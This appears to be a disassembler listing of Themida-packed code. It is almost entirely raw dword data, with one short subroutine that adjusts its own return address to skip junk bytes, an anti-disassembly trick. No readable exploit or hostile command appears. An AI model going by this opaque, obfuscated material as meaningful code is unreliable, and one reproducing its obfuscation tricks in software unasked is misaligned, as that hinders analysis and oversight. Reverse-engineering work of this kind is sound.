dd 3D35BF66h, 0BF50585Ah, 2EE7810h, 8C0F90h, 6A000000h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 1D8589D4h, 6A061204h, 0A1B58B00h, 8D061203h
dd 16311E85h, 48A0F06h, 66000000h, 839D1ABEh, 6A05C0h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 84194BC3h, 6A98D89h, 0BF900612h, 2A57FCC4h, 7E950h
dd 6CA50000h, 9904D410h, 6A90F9h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 2A458EC3h, 930C5B65h
dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 0DDD959C3h, 1E8FEB96h, 6A2C6EF4h, 0F88B6600h
dd 0DB595FFh, 0BD8B0612h, 612172Dh, 0AF029D8Dh, 6A0615h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 3D9C7C3h, 395BD89h, 0D3FF0612h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 87C35646h, 8291402Dh, 60B2A3D7h
dd 89CE8B66h, 120DE18Dh, 0B5096106h, 61220EDh, 67985FFh
dd 95890612h, 6121BB9h, 85FE9h, 0E800h, 815D0000h, 163128EDh
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 89BBF923h, 1200158Dh, 49BD8106h, 0D0061214h
dd 0F000007h, 19D86h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 29566702h, 122199B5h
dd 9D8B5E06h, 6122049h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 3EC35242h, 2300E76Fh, 8978B837h, 1217F595h
dd 0EE816606h, 0E38156F1h, 100h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 0ECC35040h, 0DB0BB931h, 80850Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 39951EC3h, 862D45E3h, 9529AFE1h, 6120985h
dd 0BD8BF38Bh, 6122C01h, 2F92BD83h, 0F000616h, 0E84h, 49BD8B00h
dd 0E9061210h, 85h, 0C7F0B70Fh, 162F9285h, 106h, 0E9BD0B00h
dd 0E906121Fh, 6Dh, 23B1B58Bh, 6E80612h, 7000000h, 61A6991Bh
dd 68C0F7Dh, 89000000h, 120A09BDh, 85C75F06h, 6162F92h
dd 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_589C93
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589C93 proc near ; CODE XREF: Themida_:00589C8Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_589C93 endp
; ---------------------------------------------------------------------------
db 40h
dd 0E1ACCBB8h, 6048F295h, 0EE8h, 0B7BA1700h, 8A2C1F16h
dd 6EAC22A1h, 315287B4h, 12200DBDh, 0BF535E06h, 178D3571h
dd 499D8D5Eh, 0E8061220h, 8, 1993C66h, 0A64C2711h, 23815EFCh
dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 24C35141h, 9CCA58B6h, 9D897EF8h, 61209BDh, 6F9BD8Bh
dd 8C660612h, 53006ADBh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 1C16A20Ah, 8B302755h, 12202DB5h
dd 4C3F606h, 51840Fh, 95FF0000h, 6120135h, 11E8h, 87D91300h
dd 9E4D5EE1h, 1E160F8h, 0DC0C7689h, 0B58B8FBDh, 61229E1h
dd 0BE66905Fh, 60506F3Ah, 9E8h, 0FE6A600h, 259342B2h, 0A6B68E41h
dd 0D78B665Bh, 70BE9061h, 0F4F9469h, 68Fh, 0D1952900h
dd 0E906122Ah, 3E7h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 899E52C3h, 122DB19Dh
dd 8970E606h, 12173DBDh, 919D3106h, 0E406120Dh, 53006A71h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0CD2D423Ch, 3940459Ch, 820F43A0h, 6, 0E2D8D89h, 0B60F0612h
dd 0BDB58BD8h, 0BA061229h, 6, 17598D29h, 0C38B0612h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2CC35545h, 0FB0F25B9h
dd 0F57536A8h, 68B0Fh, 8D890000h, 61204F5h, 2904E8C1h
dd 1214E9B5h, 0E2F76606h, 3499BD8Bh, 0D82B0612h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D6C35141h, 0E73268F8h
dd 665092ADh, 1C89F38Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 91851442h, 0F8E9E4EDh
dd 8060FD85h, 9D2357D6h, 6120769h, 49B5FF61h, 6A061214h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 41BAC356h, 13E9h, 0CB324400h, 678B181Eh
dd 430907Fh, 0E1D66B75h, 595F011Fh, 2EC98D89h, 95FF0612h
dd 61219CDh, 14E9h, 36CD00h, 6AA8FF98h, 6450EBE1h, 0EF539370h
dd 0A9F0D8D3h, 12E95Bh, 21680000h, 7BD6F5C6h, 3758C93h
dd 0B90E24CEh, 0AE40A427h, 0FE900B0h, 49000000h, 38450480h
dd 682E4024h, 14AAA518h, 70E6E9EDh, 1E819501h, 71E40612h
dd 18318509h, 613C0612h, 229830Fh, 89600000h, 1213FDB5h
dd 13E806h, 0EA4E0000h, 0D3119566h, 0C71A391Ah, 0A11173B1h
dd 0CB0AF7DFh, 0F59589D6h, 59061234h, 81850161h, 0F061203h
dd 0BAF8D8B6h, 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 97C35545h, 0C63E0C98h, 6650CA44h, 7C72C781h, 3860F5Eh
dd 66000000h, 0C38BF08Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 5AC35747h, 0F9240A96h, 6604E8C1h, 6694F6BFh
dd 0F18BE2F7h, 8589D82Bh, 612176Dh, 14E9h, 0C07A2700h
dd 0DD58BF6h, 4B57188Ah, 62CB46FCh, 57FBACA5h, 6A58D4h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 1BD44C3h, 1221BDB5h, 0FD82B06h, 14688h, 0D58D8900h
dd 0B906121Ah, 7, 10CDB589h, 0C1830612h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 0FD93BD3h, 10E86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 8C66E5F5h, 12E9D9h, 0A0E80000h
dd 6D4F9F98h, 9B9EAED1h, 6DE361D4h, 9240181Dh, 4C1F6F5h
dd 0AA840Fh, 8B660000h, 3595FFFEh, 6A061201h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 24FDC352h, 0D53B6877h, 95895B3Dh, 612139Dh, 0E79B589h
dd 0C32B0612h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 0DAC35545h, 51C5152Dh, 89E7F684h, 1229B1BDh, 8343D06h
dd 860F0000h, 3Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 0A2C35242h, 0D5C1FB56h, 0B4DF687Bh, 0FFE8B66h
dd 48Ch, 88BF6600h, 29E928h, 0BD090000h, 6122021h, 6AC08Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 46AA7FC3h, 8B36C259h, 6AD88BC3h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FFD9C351h
dd 86E56423h, 969CE869h, 6E9h, 8E10E600h, 0C7512523h, 1208C185h
dd 36D17306h, 0C08BF81Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 52C35343h, 68D0F98h, 8B000000h, 122125B5h
dd 49BD8106h, 0D0061214h, 0F000007h, 2B85h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 7CAEDF02h, 2F2599E8h, 144985FFh, 0F08B0612h, 1449B5FFh
dd 0B5090612h, 61201E5h, 19CD95FFh, 85090612h, 6121D91h
dd 0D1B58B90h, 6A06121Ah, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 6AF9C352h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 4B53C357h, 112D9EE8h, 3F0A331Bh, 5D90BE66h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CDC35646h, 0C7BE6638h
dd 4DD78110h, 0F3B9233h, 0B70FF0B7h, 0BE8FFh, 0A87D0000h
dd 827E8878h, 0C78155CEh, 6A5EFEh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 0FB88CBC3h, 1F859D89h
dd 0B5310612h, 61220C9h, 2D7DB58Bh, 0B58B0612h, 6121329h
dd 0C818589h, 52FC0612h, 21BD29F8h, 5E061235h, 1D29B533h
dd 81660612h, 0F8CDB3D6h, 13E9h, 4D850800h, 0D72E153h
dd 0A5A902F1h, 82EBABA1h, 59ACA3B9h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 8EC35545h, 66F72D1Ch, 8B9249BEh
dd 0BE6652F0h, 8B5E734Eh, 0F7CFE9F2h, 0BD8BFFFFh, 612210Dh
dd 0DE8h, 4CE83900h, 0A1F4411h, 83ADDE63h, 0F960E9B7h
dd 8E9h, 94D5E000h, 0FC61D750h, 0EB8166B4h, 5E6158F6h
dd 0EE816660h, 0FEB9CA03h, 31FFFFFFh, 12036D9Dh, 1D8D2106h
dd 6A061205h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 0CD3CC352h, 0B18E8E55h, 0BF0F5074h
dd 8D2158FEh, 6122049h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0EEC35646h, 411CC24Fh, 8982FC27h, 122199B5h
dd 0CDB58906h, 8B061222h, 12051D8Dh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 2AC73D6Eh
dd 0F78B80EFh, 0F01E183h, 2985h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0A2718F64h
dd 925E6C2Bh, 0ECD8D89h, 8D8B0612h, 6122049h, 1C55958Bh
dd 0E1830612h, 23850F01h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C315C356h
dd 5286274h, 6061897Ch, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 66C35545h, 0FEB9837Bh
dd 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 6D8AC356h, 9E95Eh, 17950000h
dd 0B222656h, 0B0E2D070h, 0B18D211Dh, 6A06121Ch, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 0AB83C353h, 0FE9C79Dh, 10000000h, 3672A082h, 0B9BB5D9Fh
dd 68FC154Ah, 8D21AF46h, 61222B1h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 7DC35141h, 51724121h, 1FC59509h
dd 8B5B0612h, 121CB18Dh, 1E18306h, 7850Fh, 0E38A0000h
dd 0F83E61BEh, 0B18D8B70h, 89061222h, 121F5D8Dh, 1E18306h
dd 6850Fh, 9D8B0000h, 6122039h, 0DE86061h, 61000000h, 0BD25B7DFh
dd 55FE07DEh, 9B6A7AF1h, 2AE9BD8Bh, 805F0612h, 0FEB90DE4h
dd 6AFFFFFFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 0D293C355h, 3ED8D21h, 8D210612h
dd 61218D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 0F6C35646h, 0DC4BF756h, 0D0C71332h, 0ED8D8BB3h
dd 0E9061203h, 0Ah, 28B2AD87h, 1E06CE35h, 0E183912Dh, 2E850F01h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 533C350h, 0DC6F6D15h, 19D8976h
dd 8B06122Bh, 12018DB5h, 0D18D8B06h, 6A061218h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 85BCC355h, 2400D289h, 0E1837248h, 23850F01h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 7FD9C353h, 1451BD29h, 60610612h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 67C35141h, 0E98CC7EFh
dd 9A6EE70h, 1203898Dh, 0FFFEB906h, 6AFFFFh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 8A31DFC3h
dd 0F0437034h, 895D28EAh, 12193D9Dh, 8D8D2106h, 0E9061231h
dd 0Fh, 81A906F3h, 0A6DF0AD3h, 0F3BC1Fh, 21B368BFh, 1208C18Dh
dd 699D8B06h, 0B806121Ch, 70EBFCCDh, 318D8D8Bh, 6A0612h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 13E93AC3h, 0CA000000h, 0D6E64FB2h, 8DC10376h, 0C20AFC6Fh
dd 352129C9h, 0E183619Dh, 36850F01h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 0FA7BC357h, 24FAAAABh, 857086BAh, 274BBB66h, 8E9h, 3B0E3600h
dd 0BE7DF403h, 0C18D8B94h, 6A061208h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1221C357h
dd 0B64C5492h, 1E1830Dh, 0F850Fh, 800F0000h, 6, 0DE1BD23h
dd 0D3800612h, 6A60614Dh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 0A5E9C353h, 0BD8B0CE1h
dd 612138Dh, 5E9h, 78BA7E00h, 958B760Ah, 61234D9h, 144985C7h
dd 7D00612h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 3E2000C3h, 50006A61h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0CDFB92A3h
dd 0F1D78060h, 12E8h, 0C63C000h, 0D691AC1Bh, 0D0BBEEBFh
dd 6F1C7007h, 0B8887B35h, 45D636EBh, 7EB615Eh, 0E99D61h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 8592C355h, 0FEEF888Fh, 23FC568Dh
dd 2D7DB589h, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 8B0DBCC3h, 0B7B3C3BAh, 0E9C18BBBh
dd 75h, 0D88C6660h, 840F04A8h, 35h, 0B5FF016Ah, 61203B1h
dd 7F35858Dh, 0D0FF0615h, 1958589h, 0FE8B0612h, 680CEFC1h
dd 20040000h, 26A006Ah, 0D6857h, 95FF0001h, 6120195h, 32E9h
dd 7185C600h, 56061228h, 0C530DF68h, 0E9B5FFA9h, 8D061230h
dd 157F3585h, 89D0FF06h, 1201C185h, 0FD858D06h, 50061206h
dd 56A206Ah, 0C195FF56h, 61061201h, 6E0C1C3h, 5FB96660h
dd 6AC08BBAh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 4EE7C352h, 3C17CB31h, 0EE8193D8h
dd 265CDE7Ch, 0CE8166h, 91BD839Bh, 6121Bh, 0BD830975h
dd 61217DDh, 50197400h, 0B8C08B53h, 438h, 858589h, 9D8D0612h
dd 614AE0Fh, 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h
dd 438h, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 26C35545h, 9A4D026Dh
dd 0F1267722h, 10E965h, 1FB10000h, 0FD3188D1h, 89B81E6Bh
dd 9228A9EFh, 8D8981C2h, 6122F91h, 0B58BC08Bh, 6121A5Dh
dd 87EE8h, 0F1858900h, 8B06122Bh, 1205B98Dh, 86DE806h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 23A47AC3h, 1203F18Dh, 0A5BD2B06h, 89061209h
dd 121D2D85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0E99386EFh, 0F97A0CDh, 682h, 0B5858900h
dd 0E8061220h, 80Bh, 13799589h, 85890612h, 6121B85h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0A9C35646h, 683A4436h
dd 0B81B0864h, 15B5011Ch, 0E8061205h, 7CFh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B3C35141h, 1276D73Fh
dd 0A6FBFD41h, 0D29B589h, 85890612h, 6121FC9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0DDC35040h, 3890FD8h
dd 80000000h, 74E8A0CDh, 6A000007h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B42C353h
dd 1229A9B5h, 6DB26006h, 0D1858961h, 6A06120Ch, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 0BFFBC355h, 0E8F08B7Dh, 723h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 24C35040h, 71BD2937h, 89061222h
dd 122DB985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1704h, 0C3554500h, 0C90BC1D9h, 6D6E8h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 25B9E168h, 60651A00h, 12820Fh, 0DE90000h, 49000000h
dd 7586916h, 59E09788h, 88130D54h, 231D8589h, 89610612h
dd 122D6985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1904h, 0C3504000h, 277B3A09h, 68E89B86h, 89000006h
dd 12311985h, 0D98D8906h, 0E8061200h, 657h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 58C35141h, 4A5B531h
dd 85890612h, 6122A69h, 1A7D9589h, 24E80612h, 29000006h
dd 121BE1B5h, 49858906h, 8106122Ah, 0DAAE3BCFh, 60DE80Ah
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 7E5AD9C3h, 8F0F587Ch, 3, 0F9C9B70Fh, 2C818589h
dd 29F80612h, 12079995h, 5D1E806h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5B2CFEC3h
dd 23818589h, 840F0612h, 3, 0E8F98B66h, 59Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0BEC35242h, 268D8589h
dd 81660612h, 608470C9h, 2ECE8166h, 6CE861AAh, 8B000005h
dd 120CC18Dh, 0D858906h, 51061205h, 0EDD8589h, 0E8590612h
dd 553h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 0DAC35141h, 66BAAF13h, 8589CF8Bh, 61206ADh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0F7C35242h, 0C3AB99B6h
dd 816660B2h, 8BFFD1DBh, 121D518Dh, 0F8E86106h, 0F8000004h
dd 13DD8589h, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 2D885DC3h, 8BCA8B66h, 120199B5h
dd 0F00B006h, 6052D8B6h, 3025B501h, 85890612h, 6120035h
dd 6BA5F61h, 0E9000000h, 9, 0CC4470DFh, 0F0CB7CFFh, 6AC38B42h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 8535C351h, 0C9F65E28h, 75201DC5h, 158E0Fh
dd 10E90000h, 50000000h, 0FB0B4BA4h, 46F8D4A4h, 6C45C03Fh
dd 0C13A92B0h, 6A04E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 667874C3h, 6AE2F7h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 52BC1C3h
dd 159D89DDh, 2B061229h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 1D0BD591h, 5CB52B96h
dd 0D8A0F93h, 0E9000000h, 8, 0BA98D58Ch, 0AC336552h, 12E850h
dd 59D90000h, 24AEF763h, 22FFD2EEh, 15780BAAh, 0BC9ABF62h
dd 198E0Fh, 14E90000h, 0FA000000h, 0AD871517h, 0CE3528B2h
dd 912D1E06h, 0C8AD15C5h, 5EAA49B4h, 52006A93h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 712407F4h
dd 0B5890AA9h, 6121F71h, 18D0Fh, 1F80000h, 12290D85h, 3595FF06h
dd 6A061201h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 5F92C352h, 7C2291E0h, 71958960h
dd 66061234h, 61F93FBAh, 0D8D8B5Bh, 8D06122Fh, 121FAD95h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 712407F4h, 924D0AA9h, 6A1A89h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0BA0E07C3h
dd 0CE9h, 0C5163D00h, 0E257A954h, 7C2C5908h, 4428966h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 1CC35545h
dd 8D02EF3Ch, 1200F995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 0CB67D726h, 37B2C23Dh
dd 0D5BF6652h, 0B52B5FDDh, 6121B01h, 6A1A89h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 374E55C3h
dd 0AC3641FDh, 89784922h, 1210A5B5h, 12E806h, 0C0850000h
dd 95EA474Bh, 0A6F5162Dh, 0DAD97C35h, 0BA6C47ADh, 8C68166h
dd 42895E79h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 89B757A4h, 122C999Dh, 0A1958D06h
dd 6A061230h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 0F2EC356h, 1A89F9B7h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 40C35545h, 0FAD6127Dh
dd 0CDBD33F8h, 89061222h, 6A0442h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 653D94C3h, 0FF110954h
dd 840FEB2Bh, 2, 958DCF8Bh, 6122A35h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 0F7C35242h, 89B86660h, 2840F5Ch
dd 8B000000h, 1A8961D8h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0E3C35141h, 0C09DBA65h, 0FEBF0FF3h, 23F99D89h
dd 42890612h, 6EB96604h, 5958D03h, 6A061214h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 3047C351h, 0FCEE6635h, 0F601A89h, 689h, 61958B00h, 6006121Dh
dd 11418529h, 7E90612h, 9C000000h, 2A1BE2B0h, 616165FBh
dd 1044289h, 1200E98Dh, 59958D06h, 0F9061219h, 1A89CE8Bh
dd 0FFAB70Fh, 68Dh, 0F9B58B00h, 89061210h, 8D890442h, 61203A1h
dd 0E01958Dh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 34E562C3h, 0FD125AC5h, 8549BFCEh
dd 1A8956F0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 65C35040h, 89D9FC74h, 6A0442h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 53A115C3h
dd 229D8D8Bh, 8D5F0612h, 12126595h, 601A8906h, 319589FCh
dd 6106121Eh, 8B044289h, 122A89B5h, 0F2E906h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 0B70ECC3h, 202FF0AEh, 91BD8B97h, 6A061222h, 0CE900h
dd 0A29E0000h, 55822F22h, 734AF6Dh, 6ABBE4h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 50C35343h, 94679A40h
dd 60143F7Ah, 89006A6Dh, 1205719Dh, 0FD958906h, 6A06121Eh
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 51CBE21h, 896070C2h, 12049995h, 86E28006h
dd 11952961h, 0FF06122Eh, 122F4995h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 81D4E3D2h
dd 9F71B3F1h, 6AC32Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 0BF2345C3h, 4E683DF1h, 8B66C58Ah
dd 6AC08BFEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 0EC85C352h, 0BD83E1B1h, 6121B91h
dd 83097500h, 1217DDBDh, 19740006h, 0C08B5350h, 438B8h
dd 95858900h, 8D061222h, 14AE769Dh, 5BD3FF06h, 0DDBD8358h
dd 61217h, 53501774h, 438B8h, 95858900h, 8D061222h, 14AB179Dh
dd 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 0F46032Dh, 6AF6B7h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 214C18C3h
dd 0C744F902h, 9FE9818Bh, 8B0D6AEFh, 1858DC0h, 6A06122Eh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0E8D3C353h, 0D888EF81h, 0E8903453h, 0Bh
dd 0A7BFFE1h, 7137297h, 8B0E7A1Dh, 50505FD8h, 0BE9905Fh
dd 0D7000000h, 0B4792F7h, 0AAB65627h, 8D0181C7h, 61205C1h
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 1726C5C3h, 8E9h, 497BC00h, 0CFB18B32h
dd 6A006A9Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 1290C353h, 9D03EBEBh, 6120E25h
dd 4C72858Dh, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 874F59C3h, 0E9A354C7h, 0Dh, 0E05D8267h
dd 9376E6EFh, 0C20CFC19h, 5C083ABh, 0EB80FB8Bh, 0EE950E1h
dd 5000000h, 0EEBCCC33h, 2191F17Ah, 7019CF8Dh, 2404893Eh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0CFC35545h
dd 0DCEF76AAh, 6A8FF6h, 0F46C30BBh, 6A006A03h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 4628C350h, 0DB595FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 5B8BACC3h, 9D95093Ah
dd 8D06121Dh, 15AF028Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 0B11FD07h, 0D1FF93F9h
dd 5C59D23h, 0BD830612h, 61207ADh, 0B5850F01h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 79D8C355h, 0EACB4E61h, 6A026A71h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 0EE3C353h, 6A1327BEh, 0E9728CBAh, 0Ah, 0D4BA621Eh, 0CBE2C026h
dd 5050196Eh, 2860F52h, 56000000h, 66310F5Fh, 5A29A1BBh
dd 24048958h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0F4C35242h, 28A8CDE1h, 999D89ABh, 0F061218h, 38Ch
dd 0FE8B6600h, 6A595FFh, 8B0F0612h, 0Ch, 68D0Fh, 9D890000h
dd 6121285h, 0E11E9h, 0E800h, 815D0000h, 164C7CEDh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 449EC102h, 0A7F19862h, 0BF66DA1Dh, 858D78ACh, 6159437h
dd 1F719D29h, 0F900612h, 1F84h, 8B666000h, 14E8D6h, 9AF70000h
dd 8188C184h, 76A44DBCh, 151B8331h, 0EAABBA23h, 61596351h
dd 0FE950h, 0E2BF0000h, 0C64A4020h, 4256DBA8h, 3E68A4CFh
